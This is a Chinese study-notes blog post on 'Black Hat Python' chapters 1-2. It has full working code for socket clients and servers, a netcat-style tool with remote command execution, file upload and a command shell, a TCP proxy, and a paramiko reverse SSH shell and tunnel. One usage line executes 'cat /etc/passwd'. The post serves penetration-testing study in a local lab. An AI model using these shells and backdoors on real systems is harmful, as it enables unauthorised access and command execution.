本篇文章是學習《Python黑帽子:黑客與滲透測試編程之道》的筆記,同時希望各位可以給給建議,不足之處太多了。
參考博客:
LyShark的滲透測試博客: https://www.cnblogs.com/LyShark/category/1339134.html
前六章代碼: https://blog.csdn.net/Kevinhanser/article/details/80140427
Mi1k7ea的博客: https://blog.csdn.net/SKI_12/article/details/71152826?locationNum=11&fps=1
giantbranch的博客:https://blog.csdn.net/u012763794/article/details/50612756#t9
第一章——設置Python環境:
-
安裝Kali Linux。
-
確認是否安裝了正確的Python版本:確認是2.7版本的即可。
-
接着安裝Python軟件包管理工具easy_install和pip方便后續的工作
-
接着是安裝WingIDE,由於個人使用習慣了使用pycharm就不再進行安裝了,分享一個pycharm的個人喜歡的設置文件。安裝pycharm后對
確認這個地方的python的路徑和導入的包正確。點擊旁邊的加號,並且在 manage repositories中修改 pip 的源為豆瓣的源:
第二章——網絡基礎:
創建一個TCP客戶端 (tcp_client.py) :
示例中socket對象有兩個參數,AF_INET參數表明使用IPv4地址或主機名,SOCK_STREAM參數表示是一個TCP客戶端。訪問的URL是百度。
#coding=utf-8
import socket
target_host = "www.baidu.com"
target_port = 80
#建立一個socket對象
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#連接客戶端
client.connect((target_host,target_port))
#發送一些數據
client.send("GET / HTTP/1.1\r\nHost: baidu.com\r\n\r\n")
#接收一些數據
response = client.recv(4096)
print response
運行結果:
python tcp_client.py
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: no-cache
Connection: Keep-Alive
Content-Length: 14615
Content-Type: text/html
Date: Wed, 12 Jun 2019 09:25:45 GMT
Etag: "5cf609dc-3917"
Last-Modified: Tue, 04 Jun 2019 06:04:12 GMT
P3p: CP=" OTI DSP COR IVA OUR IND COM "
Pragma: no-cache
Server: BWS/1.1
Set-Cookie: BAIDUID=CE616E9A2463384E26DC4FC11EA73E75:FG=1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com
Set-Cookie: BIDUPSID=CE616E9A2463384E26DC4FC11EA73E75; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com
Set-Cookie: PSTM=1560331545; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com
Vary: Accept-Encoding
X-Ua-Compatible: IE=Edge,chrome=1
<!DOCTYPE html><!--STATUS OK-->
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<link rel="dns-prefetch" href="//b1.bdstatic.com"/>
<title>百度一下,你就知道</title>
<link href=....nmousedown="return c
進程已結束,退出代碼0
創建一個 UDP 客戶端(udp_client.py)
# coding=utf-8
import socket
target_host = "127.0.0.1"
target_port = 80
# 建立一個 socket 對象
# AF_INET 參數說明我們將使用標准的 IPv4地址或者主機名
# SOCK_STREAM 說明這將是一個 UDP 客戶端
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# 發送一些數據
client.sendto("This is test message!", (target_host, target_port))
# 接收一些數據
data, addr = client.recvfrom(4096)
print data
在 kali 本機 打開監聽 80 端口
root@kali:~# nc -nvulp 80
運行客戶端,發送數據
root@kali:~# python udp_client.py
運行結果:
root@kali:~# nc -nvulp 80
listening on [any] 80 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 50536
This is test message!
TCP服務端+客戶端交互:
TCP服務端的代碼如下:
這里需要先調用bind()函數綁定IP和端口,然后通過調用listen()函數啟動監聽並將最大連接數設為5。
#!/usr/bin/python
#coding=utf-8
import socket
import threading
bind_ip = "0.0.0.0"
bind_port = 1234
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)
print '[*] Listening on %s:%d'%(bind_ip,bind_port)
#客戶處理線程
def handle_client(client_socket):
#打印客戶端發送得到的消息
request = client_socket.recv(1024)
print "[*] Received: %s"%request
#返回一個數據包
client_socket.send("ACK!")
client_socket.close()
while True:
client, addr = server.accept()
print "[*] Accepted connection from: %s:%d"%(addr[0],addr[1])
#掛起客戶端線程,處理傳入數據
client_handler = threading.Thread(target=handle_client,args=(client,))
client_handler.start()
運行此 TCP 服務器端程序:
python tcp_server.py
[*] Listening on 0.0.0.0:1234
修改之前的TCP客戶端的代碼,注意對應端口位置應該正確
修改前面的 TCP 客戶端程序:
# coding=utf-8
import socket
target_host = "127.0.0.1"
target_port = 1234
# 建立一個 socket 對象
# AF_INET 參數說明我們將使用標准的 IPv4地址或者主機名
# SOCK_STREAM 說明這將是一個 TCP 客戶端
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 連接客戶端
client.connect((target_host,target_port))
# 發送一些數據
client.send("This is test message!")
# 接收一些數據
response = client.recv(4096)
print response
運行修改過的 TCP 客戶端源程序
python tcp_client.py
ACK!
之后我們查看之前TCP 服務器端運行結果
python server.py
[*] Listening on 0.0.0.0:1234
[*] Accepted connection from: 127.0.0.1:40084
[*] Received: This is test message!
UDP服務端+客戶端交互:
UDP服務端的代碼如下:
UDP服務端+客戶端交互:
UDP服務端的代碼如下(udp_services.py):
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(("127.0.0.1", 60010))
print("UDP bound on port 6000...")
while True:
data, addr = s.recvfrom(1024)
print("Receive from %s:%s" % addr)
if data == b"exit":
s.sendto(b"Good bye!\n", addr)
exit(0)
s.sendto(b"Hello client! \nReceive:\n%s\nFrom:" % data, addr)
運行服務端:
python udp_services.py
UDP bound on port 6000...
UDP客戶端代碼如下(udp_client.py):
注意端口對應
#coding=utf-8
import socket
target_host = "127.0.0.1"
target_port = 60010
#建立一個socket對象
client = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
#發送一些數據
client.sendto("This is an UDP client",(target_host,target_port))
#接收一些數據
data,addr = client.recvfrom(4096)
print data
print addr
#關閉服務器
client.sendto("exit",(target_host,target_port))
運行客戶端
python udp_client.py
Hello client!
Receive:
This is an UDP client
From:
('127.0.0.1', 60010)
之后我們查看之前TCP 服務器端運行結果
python udp_services.py
UDP bound on port 6000...
Receive from 127.0.0.1:60934
Receive from 127.0.0.1:60934
進程已結束,退出代碼0
取代netcat(bhnet.py):
這里對程序說明一下:
usage()函數用於參數的說明幫助、當用戶輸入錯誤的參數時會輸出相應的提示;
client_sender()函數用於與目標主機建立連接並交互數據直到沒有更多的數據發送回來,然后等待用戶下一步的輸入並繼續發送和接收數據,直到用戶結束腳本運行;
server_loop()函數用於建立監聽端口並實現多線程處理新的客戶端;
run_command()函數用於執行命令,其中subprocess庫提供多種與客戶端程序交互的方法;
client_handler()函數用於實現文件上傳、命令執行和與shell相關的功能,其中wb標識確保是以二進制的格式寫入文件、從而確保上傳和寫入的二進制文件能夠成功執行;
主函數main()中是先讀取所有的命令行選項從而設置相應的變量,然后從標准輸入中讀取數據並通過網絡發送數據,若需要交互式地發送數據需要發送CTRL-D以避免從標准輸入中讀取數據,若檢測到listen參數為True則調用server_loop()函數准備處理下一步命令。
rstrip() 刪除 string 字符串末尾的指定字符(默認為空格)。
subprocess.check_output():父進程等待子進程完成,返回子進程向標准輸出的輸出結果。
getopt模塊是專門處理命令行參數的。
如果你不想每次都打python才能運行,就在第一行加入#!/usr/bin/python(如果python默認安裝在那個目錄的話)
#!/usr/bin/python
#-*- coding:utf8 -*-
import sys
import socket
import getopt
import threading
import subprocess
# 定義一些全局變量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def run_command(command):
# 刪除字符串末尾的空格
command = command.rstrip()
# 運行命令並將輸出放回
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execute command.\r\n"
# 將輸出發送
return output
def client_handler(client_socket):
global upload
global execute
global command
# 檢查上傳文件
if len(upload_destination):
# 讀取所有的字符並寫下目標
file_buffer = ""
# 持續讀取數據直到沒有符合的數據
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
try:
file_descriptor = open(upload_destination, "wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" % upload_destination)
# 檢查命令執行
if len(execute):
# 運行命令
output = run_command(execute)
client_socket.send(output)
# 如果需要一個命令行shell,那么我們進入另一個循環
if command:
while True:
# 跳出一個窗口
client_socket.send("<BHP:#>")
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
# 返回命令輸出
response = run_command(cmd_buffer)
# 返回響應數據
client_socket.send(response)
def server_loop():
global target
# 如果沒有定義目標,那我們監聽所有接口
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# 分拆一個線程處理新的客戶端
client_thread = threading.Thread(target=client_handler, args=(client_socket,))
client_thread.start()
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# 連接到目標主機
client.connect((target, port))
if len(buffer):
client.send(buffer)
while True:
# 現在等待數據回傳
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print response
# 等待更多的輸入
buffer = raw_input("")
buffer += "\n"
# 發送出去
client.send(buffer)
except:
print "[*] Exception! Exiting."
#關閉連接
client.close()
def usage():
print "BHP Net Tool"
print
print "Usage: bhpnet.py -t target_host - p port"
print "-l --listen - listen on [host]:[port] for incoming connections"
print "-e --execute=file_to_run -execute the given file upon receiving a connection"
print "-c --command - initialize a commandshell"
print "-u --upload=destination - upon receiving connection upload a file and write to [destination]"
print
print
print "Examples:"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135"
sys.exit(0)
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
# 讀取命令行選項,若沒有該選項則顯示用法
try:
opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",["help", "listen", "execute", "target", "port", "command", "upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o,a in opts:
if o in ("-h","--help"):
usage()
elif o in ("-l", "--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False,"Unhandled Option"
#我們是進行監聽還是僅從標准輸入讀取數據並發送數據?
if not listen and len(target) and port > 0:
# 從命令行讀取內存數據
# 這里將阻塞,所以不再向標准輸入發送數據時發送CTRL-D
buffer = sys.stdin.read()
# 發送數據
client_sender(buffer)
# 我們開始監聽並准備上傳文件,執行命令
# 放置一個反彈shell
# 取決於上面的命令行選項
if listen:
server_loop()
#調用main函數
main()
返回shell效果:
首先以服務器形式運行bhpnet:
python bhpnet.py -l -p 8888 -c
之后打開另一個終端,以客戶端運行bhpnet:
python bhpnet.py -t localhost -p 8888
(按下ctrl-D之后返回一個shell,windows下需要ctrl-Z)
<BHP:#>
whoami
xiangge
將bhpnet.py作為客戶端,連接百度:
echo -nc "GET / HTTP/1.1\r\nHost:www.baidu.com\r\n\r\n" | ./bhpnet.py -t www.baidu.com -p 80
上傳文件:
服務端:
python bhpnet.py -t localhost -p 9999 -u newtext.txt -l
客戶端發送文件內容:
echo “hi” | python bhpnet.py -t 127.0.0.1 -p 9999
之后需要在客戶端這邊ctrl-C,之后再服務端也要ctrl-C,在一堆報錯中,得到了剛剛建立的文件
這里的文件上傳並不是真正意義上的文件上傳,參考了一下這個博客https://blog.csdn.net/he_and/article/details/80308299 ,修改一下代碼實現真正意義的文件上傳:
創建一個TCP代理:
#coding=utf-8
import socket
import sys
import threading
def server_loop(local_host,local_port,remote_host,remote_port,receive_first):
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
server.bind((local_host,local_port))
except:
print "[!!] Failed to listen on %s:%d"%(local_host,local_port)
print "[!!] Check for other listening sockets or correct permissions. "
sys.exit(0)
print "[*] Listening on %s:%d"%(local_host,local_port)
server.listen(5)
while True:
client_socket, addr = server.accept()
# 打印出本地連接信息
print "[==>] Received incoming connection from %s:%d"%(addr[0],addr[1])
# 開啟一個線程與遠程主機通信
proxy_thread = threading.Thread(target=proxy_handler,args=(client_socket,remote_host,remote_port,receive_first))
proxy_thread.start()
def proxy_handler(client_socket,remote_host,remote_port,receive_first):
# 連接遠程主機
remote_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
remote_socket.connect((remote_host,remote_port))
# 如果必要從遠程主機接收數據
if receive_first:
remote_buffer = receive_from(remote_socket)
hexdump(remote_buffer)
# 發送給我們的響應數據
remote_buffer = response_handler(remote_buffer)
# 如果我們有數據傳遞給本地客戶端,發送它
if len(remote_buffer):
print "[<==] Sending %d bytes to localhost. "%len(remote_buffer)
client_socket.send(remote_buffer)
# 現在我們從本地循環讀取數據,發送給遠程主機和本地主機
while True:
# 從本地讀取主機
local_buffer = receive_from(client_socket)
if len(local_buffer):
print "[==>] Received %d bytes from localhost. "%len(local_buffer)
hexdump(local_buffer)
# 發送給我們的本地請求
local_buffer = request_handler(local_buffer)
# 向遠程主機發送數據
remote_socket.send(local_buffer)
print "[==>] Sent to remote ."
# 接受響應的數據
remote_buffer = receive_from(remote_socket)
if len(remote_buffer):
print "[<==] Received %d bytes from remote . "%len(remote_buffer)
hexdump(remote_buffer)
# 發送到響應處理函數
remote_buffer = response_handler(remote_buffer)
# 將響應發送給本地socket
client_socket.send(remote_buffer)
print "[<==] Sent to localhost. "
# 如果兩邊都沒有數據,關閉連接
if not len(local_buffer) or not len(remote_buffer):
client_socket.close()
remote_socket.close()
print "[*] No more data. Closing cnnections. "
break
# 十六進制導出函數
def hexdump(src,length=16):
result = []
digits = 4 if isinstance(src,unicode) else 2
for i in xrange(0,len(src),length):
s = src[i:i+length]
hexa = b' '.join(["%0*X" % (digits,ord(x)) for x in s])
text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
result.append( b"%04X %-*s %s" % (i,length*(digits + 1),hexa,text))
print b'\n'.join(result)
def receive_from(connection):
buffer = ""
# 我們設置了兩秒的超時,這取決於目標的情況,可能需要調整
connection.settimeout(2)
try:
# 持續從緩存中讀取數據直到沒有數據或超時
while True:
data = connection.recv(4096)
if not data:
break
buffer += data
except:
pass
return buffer
# 對目標是遠程主機的請求進行修改
def request_handler(buffer):
# 執行包修改
return buffer
# 對目標是本地主機的響應進行修改
def response_handler(buffer):
# 執行包修改
return buffer
def main():
# 沒有華麗的命令行解析
if len(sys.argv[1:]) != 5:
print "Usage : ./tcp_agent.py [localhost] [localport] [remotehost] [remoteport] [receive_first] "
print "Example : ./tcp_agent.py 127.0.0.1 9000 10.12.132.1 9000 True"
sys.exit(0)
# 設置本地監聽參數
local_host = sys.argv[1]
local_port = int(sys.argv[2])
# 設置遠程目標
remote_host = sys.argv[3]
remote_port = int(sys.argv[4])
# 告訴代理在發送給遠程主機之前連接和接收數據
receive_first = sys.argv[5]
if "True" in receive_first:
receive_first = True
else:
receive_first = False
# 現在設置好我們的監聽socket
server_loop(local_host,local_port,remote_host,remote_port,receive_first)
main()
這里對每個函數說明一下:
proxy_handler()函數包含了代理的主要邏輯,先檢查並確保在啟動主循環之前不向建立連接的遠程主機主動發送數據,啟動循環之后接收本地和遠程主機的數據然后再調用相應的函數進行處理之后再轉發出去;
hexdump()函數僅輸出數據包的十六進制值和可打印的ASCII碼字符,對於了解未知的協議很有幫助,還能找到使用明文協議的認證信息等;
receive_from()函數用於接收本地和遠程主機的數據,使用socket對象作為參數;
request_handler()和response_handler()函數允許用來修改代理雙向的數據流量;
server_loop()函數用於循環以監聽並連接請求,當有新的請求到達時會提交給proxy_handler()函數處理,接收每一個比特的數據,然后發送到目標遠程主機;
main主函數先讀入命令行參數,然后調用服務端的server_loop()函數。
結果可以看到,其實和Wireshark等抓包工具的效果是差不多的。
運行結果:
python tcp_proxy.py 127.0.0.1 8080 www.baidu.com 80 True
[*] Listening on 127.0.0.1:8080
之后在瀏覽器設置代理 8080 端口,火狐使用 autoproxy 插件,設置代理端口 8080,訪問百度網頁
后面端口填寫8080
運行結果:
python tcp_proxy.py 127.0.0.1 8080 www.baidu.com 80 True
[*] Listening on 127.0.0.1:8080
[==>] Received incoming connectiong from 127.0.0.1:41162
[==>] Received incoming connectiong from 127.0.0.1:41166
[==>] Received 199 bytes from localhost
0000 43 4F 4E 4E 45 43 54 20 77 77 77 2E 62 61 69 64 CONNECT www.baid
0010 75 2E 63 6F 6D 3A 34 34 33 20 48 54 54 50 2F 31 u.com:443 HTTP/1
0020 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 .1..User-Agent:
0030 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 58 31 31 Mozilla/5.0 (X11
0040 3B 20 4C 69 6E 75 78 20 78 38 36 5F 36 34 3B 20 ; Linux x86_64;
0050 72 76 3A 35 32 2E 30 29 20 47 65 63 6B 6F 2F 32 rv:52.0) Gecko/2
0060 30 31 30 30 31 30 31 20 46 69 72 65 66 6F 78 2F 0100101 Firefox/
0070 35 32 2E 30 0D 0A 50 72 6F 78 79 2D 43 6F 6E 6E 52.0..Proxy-Conn
0080 65 63 74 69 6F 6E 3A 20 6B 65 65 70 2D 61 6C 69 ection: keep-ali
0090 76 65 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 ve..Connection:
00A0 6B 65 65 70 2D 61 6C 69 76 65 0D 0A 48 6F 73 74 keep-alive..Host
00B0 3A 20 77 77 77 2E 62 61 69 64 75 2E 63 6F 6D 3A : www.baidu.com:
00C0 34 34 33 0D 0A 0D 0A 443....
[==>] Sent to remote.
[*] No more data. Closing connections.
[==>] Received incoming connectiong from 127.0.0.1:41170
[==>] Received 199 bytes from localhost
通過 paramiko 使用 SSH
參考Python黑帽子——通過Paramiko使用SSH: https://blog.csdn.net/u010726042/article/details/73565068
安裝 paramiko
pip install paramiko
paramiko 示例文件
https://github.com/paramiko/paramiko/tree/master/demos
建立ssh通道(ssh_command.py)
#coding=utf-8
import threading
import paramiko
import subprocess
# paramiko 支持用密鑰認證來代理密碼驗證,推薦密鑰認證
def ssh_command(ip, user, passwd, command):
client = paramiko.SSHClient()
#支持用密鑰認證代替密碼驗證,實際環境推薦使用密鑰認證
#client.load_host_key('/root/.ssh/known_hosts')
#設置自動添加和保存目標ssh服務器的ssh密鑰
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 連接
client.connect(ip, username=user, password=passwd)
#打開會話
ssh_session = client.get_transport().open_session()
if ssh_session.active:
#執行命令
ssh_session.exec_command(command)
#返回命令執行結果(1024個字符)
print ssh_session.recv(1024)
return
#調用函數,以用戶root及其密碼連接並執行命令
ssh_command('127.0.0.1', 'root', 'toor', 'id')
執行程序結果
root@kali:~# python ssh_command.py
uid=0(root) gid=0(root) 組=0(root)
建立可以持續發送命令的ssh客戶端和ssh服務器
使用 paramiko 示例文件中包含的 SSH 密鑰,開啟一個套接字監聽,之后使用 SSH 管道,並配置認證模式。當一個客戶端認證成功,並發回 ClientConnected 消息,我們輸入到 ssh_server 的任何命令將發送給 ssh_client 並在 ssh_client 上執行,輸出的結果將返回給 ssh_server。
paramiko 示例文件: https://github.com/paramiko/paramiko/tree/master/demos
獲取密鑰文件
使用
ssh-keygen -t rsa
命令創建密鑰文件
/root/.ssh/id_rsa
創建空密鑰即可。
或者 paramiko 的示例文件,直接使用 test_rsa.key,沒有key文件會出錯
創建ssh 客戶端程序(ssh_client.py)
#coding=utf-8
import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command, port):
client = paramiko.SSHClient()
#支持用密鑰認證代替密碼驗證,實際環境推薦使用密鑰認證
# client.load_host_keys('/home/root/.ssh/known_hosts')
#設置自動添加和保存目標ssh服務器的ssh密鑰
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
#連接
client.connect(ip, port, username=user, password=passwd)
#打開會話
ssh_session = client.get_transport().open_session()
if ssh_session.active:
#發送command這個字符串,並不是執行命令
ssh_session.send(command)
#返回命令執行結果(1024個字符)
print ssh_session.recv(1024)
while True:
#從ssh服務器獲取命令
command = ssh_session.recv(1024)
try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(cmd_output)
except Exception, e:
ssh_session.send(str(e))
client.close()
return
ssh_command('127.0.0.1', 'root', 'toor', 'This is test message!!!!!',8088)
創建 ssh 服務器端程序(ssh_server.py)
#coding=utf-8
import socket
import paramiko
import threading
import sys
if len(sys.argv[1:]) != 2:
print "Usage: ./ssh_server.py [localhost] [localport] "
print "Example: ./ssh_server.py 127.0.0.1 8080"
sys.exit(0)
# 使用 Paramiko示例文件的密鑰
#host_key = paramiko.RSAKey(filename='test_rsa.key')
# 或者自己創建一個密鑰文件
host_key = paramiko.RSAKey(filename='/root/.ssh/id_rsa')
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if (username == 'root') and (password == 'toor'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
server = sys.argv[1]
ssh_port = int(sys.argv[2])
try:
#TCP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#這里value設置為1,表示將SO_REUSEADDR標記為TRUE,操作系統會在服務器socket被關閉或服務器進程終止后馬上釋放該服務器的端口,否則操作系統會保留幾分鍾該端口。
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
#綁定ip和端口
sock.bind((server, ssh_port))
#最大連接數為100
sock.listen(100)
print '[+] Listening for connection ...'
client, addr = sock.accept()
except Exception, e:
print '[-] Listen failed: ' + str(e)
sys.exit(1)
print '[+] Got a connection!'
try:
bhSession = paramiko.Transport(client)
bhSession.add_server_key(host_key)
server = Server()
try:
bhSession.start_server(server=server)
except paramiko.SSHException, x:
print '[-] SSH negotiation failed'
#設置超時值為20
chan = bhSession.accept(20)
print '[+] Authenticated!'
print chan.recv(1024)
chan.send("Welcome to bh_ssh")
while True:
try:
#strip移除字符串頭尾指定的字符(默認為空格),這里是換行
command = raw_input("Enter command:").strip("\n")
if command != 'exit':
chan.send(command)
print chan.recv(1024) + '\n'
else:
chan.send('exit')
print 'exiting'
bhSession.close()
raise Exception('exit')
except KeyboardInterrupt:
bhSession.close()
except Exception, e:
print '[-] Caught exception: ' + str(e)
try:
bhSession.close()
except:
pass
sys.exit(1)
運行 ssh 服務器端程序
python ssh_server.py 127.0.0.1 8088
[+] Listening for connection ...
運行 ssh 客戶端程序
python ssh_client.py
Welcome to bh_ssh
查看 ssh 服務器端結果
python ssh_server.py 127.0.0.1 8088
[+] Listening for connection ...
[+] Got a connection!
[+] Authenticated!
This is test message!!!!!
Enter command:ls
Desktop
Documents
Downloads
Music
Pictures
SSH 隧道
關於 SSH 隧道的技術詳解
http://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html
paramiko 示例2文件
paramiko 示例文件: https://github.com/paramiko/paramiko/tree/master/demos
** SSH 隧道目標**
我們希望在 SSH 客戶端輸入命令,然后在遠程的 SSH 服務器上運行。當使用 SSH 隧道時,與傳統的將命令直接發送給服務器端不同,網絡流量包在 SSH 中封裝后發送,並且在到達 SSH 服務器之后解開並執行。
假設一個環境:你可以訪問一台在內網的 SSH 服務器,同事還想訪問在同一個網段的 WEB服務器。你不能直接訪問 WEB 服務器,但是 ssh 服務器可以訪問 web 服務器,而且這個 ssh 服務器上沒有安裝可以使用的工具。
解決這個問題的方法之一是創建一個轉發的 SSH 隧道。
使用
ssh -L 8008:web:80 root@sshserver
命令將以 root 用戶的身份連接到 ssh 服務器,同時將在本地系統上監聽 8008 端口建立轉發。任何發送到本機 8008 端口上的數據都被通過已有的 SSH 隧道轉發到 web 服務器上。
創建一個程序(rforward.py)
#!/usr/bin/env python
#coding=utf-8
import getpass
import os
import socket
import select
import sys
import threading
from optparse import OptionParser
import paramiko
SSH_PORT = 22
DEFAULT_PORT = 4000
g_verbose = True
def handler(chan, host, port):
sock = socket.socket()
try:
sock.connect((host, port))
except Exception as e:
verbose('Forwarding request to %s:%d failed: %r' % (host, port, e))
return
verbose('Connected! Tunnel open %r -> %r -> %r' % (chan.origin_addr,
chan.getpeername(), (host, port)))
while True:
r, w, x = select.select([sock, chan], [], [])
if sock in r:
data = sock.recv(1024)
if len(data) == 0:
break
chan.send(data)
if chan in r:
data = chan.recv(1024)
if len(data) == 0:
break
sock.send(data)
chan.close()
sock.close()
verbose('Tunnel closed from %r' % (chan.origin_addr,))
def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):
# 用 paramiko 的 request_port_forward 函數將 ssh 服務端一個端口的 tcp 連接轉發出去
transport.request_port_forward('', server_port)
while True:
# 同時建立一個系的傳輸通道
chan = transport.accept(1000)
if chan is None:
continue
# 在通道里,我們調用 handler 函數進行處理
thr = threading.Thread(target=handler, args=(chan, remote_host, remote_port))
thr.setDaemon(True)
thr.start()
def verbose(s):
if g_verbose:
print(s)
HELP = """\
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session
back to the local machine, and out to a remote site reachable from this
network. This is similar to the openssh -R option.
"""
def get_host_port(spec, default_port):
"parse 'hostname:22' into a host and port, with the port optional"
args = (spec.split(':', 1) + [default_port])[:2]
args[1] = int(args[1])
return args[0], args[1]
def parse_options():
global g_verbose
parser = OptionParser(usage='usage: %prog [options] <ssh-server>[:<server-port>]',
version='%prog 1.0', description=HELP)
parser.add_option('-q', '--quiet', action='store_false', dest='verbose', default=True,
help='squelch all informational output')
parser.add_option('-p', '--remote-port', action='store', type='int', dest='port',
default=DEFAULT_PORT,
help='port on server to forward (default: %d)' % DEFAULT_PORT)
parser.add_option('-u', '--user', action='store', type='string', dest='user',
default=getpass.getuser(),
help='username for SSH authentication (default: %s)' % getpass.getuser())
parser.add_option('-K', '--key', action='store', type='string', dest='keyfile',
default=None,
help='private key file to use for SSH authentication')
parser.add_option('', '--no-key', action='store_false', dest='look_for_keys', default=True,
help='don\'t look for or use a private key file')
parser.add_option('-P', '--password', action='store_true', dest='readpass', default=False,
help='read password (for key or password auth) from stdin')
parser.add_option('-r', '--remote', action='store', type='string', dest='remote', default=None, metavar='host:port',
help='remote host and port to forward to')
options, args = parser.parse_args()
if len(args) != 1:
parser.error('Incorrect number of arguments.')
if options.remote is None:
parser.error('Remote address required (-r).')
g_verbose = options.verbose
server_host, server_port = get_host_port(args[0], SSH_PORT)
remote_host, remote_port = get_host_port(options.remote, SSH_PORT)
return options, (server_host, server_port), (remote_host, remote_port)
def main():
options, server, remote = parse_options()
password = None
if options.readpass:
password = getpass.getpass('Enter SSH password: ')
client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy())
verbose('Connecting to ssh host %s:%d ...' % (server[0], server[1]))
try:
client.connect(server[0], server[1], username=options.user, key_filename=options.keyfile,
look_for_keys=options.look_for_keys, password=password)
except Exception as e:
print('*** Failed to connect to %s:%d: %r' % (server[0], server[1], e))
sys.exit(1)
verbose('Now forwarding remote port %d to %s:%d ...' % (options.port, remote[0], remote[1]))
try:
reverse_forward_tunnel(options.port, remote[0], remote[1], client.get_transport())
except KeyboardInterrupt:
print('C-c: Port forwarding stopped.')
sys.exit(0)
if __name__ == '__main__':
main()
運行程序
./rforward.py -h
Usage: rforward.py [options] <ssh-server>[:<server-port>]
./rforward.py 127.0.0.1 -p 8080 -r 10.10.10.129:80 --user root --password
Enter SSH password:
Connecting to ssh host 127.0.0.1:22 ...
Now forwarding remote port 8080 to 10.10.10.129:80 ...
查看監聽端口
root@kali:~# netstat -tulnp | grep 8080
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN 4708/sshd: root
使用代理訪問目標站點
瀏覽器使用 autoproxy 設置代理 8080 端口,訪問 10.10.10.129:80
查看運行結果
./rforward.py 127.0.0.1 -p 8080 -r 10.10.10.129:80 --user root --password
Enter SSH password:
Connecting to ssh host 127.0.0.1:22 ...
Now forwarding remote port 8080 to 10.10.10.129:80 ...
Connected! Tunnel open (u'127.0.0.1', 41518) -> ('127.0.0.1', 22) -> ('10.10.10.129', 80)
Tunnel closed from (u'127.0.0.1', 41518)
Connected! Tunnel open (u'127.0.0.1', 41522) -> ('127.0.0.1', 22) -> ('10.10.10.129', 80)
Tunnel closed from (u'127.0.0.1', 41522)
Connected! Tunnel open (u'127.0.0.1', 41526) -> ('127.0.0.1', 22) -> ('10.10.10.129', 80)
Connected! Tunnel open (u'127.0.0.1', 41528) -> ('127.0.0.1', 22) -> ('10.10.10.129', 80)
Tunnel closed from (u'127.0.0.1', 41526)
Connected! Tunnel open (u'127.0.0.1', 41534) -> ('127.0.0.1', 22) -> ('10.10.10.129', 80)
Connected! Tunnel open (u'127.0.0.1', 41538) -> ('127.0.0.1', 22) -> ('10.10.10.129', 80)
Tunnel closed from (u'127.0.0.1', 41538)
Connected! Tunnel open (u'127.0.0.1', 41542) -> ('127.0.0.1', 22) -> ('10.10.10.129', 80)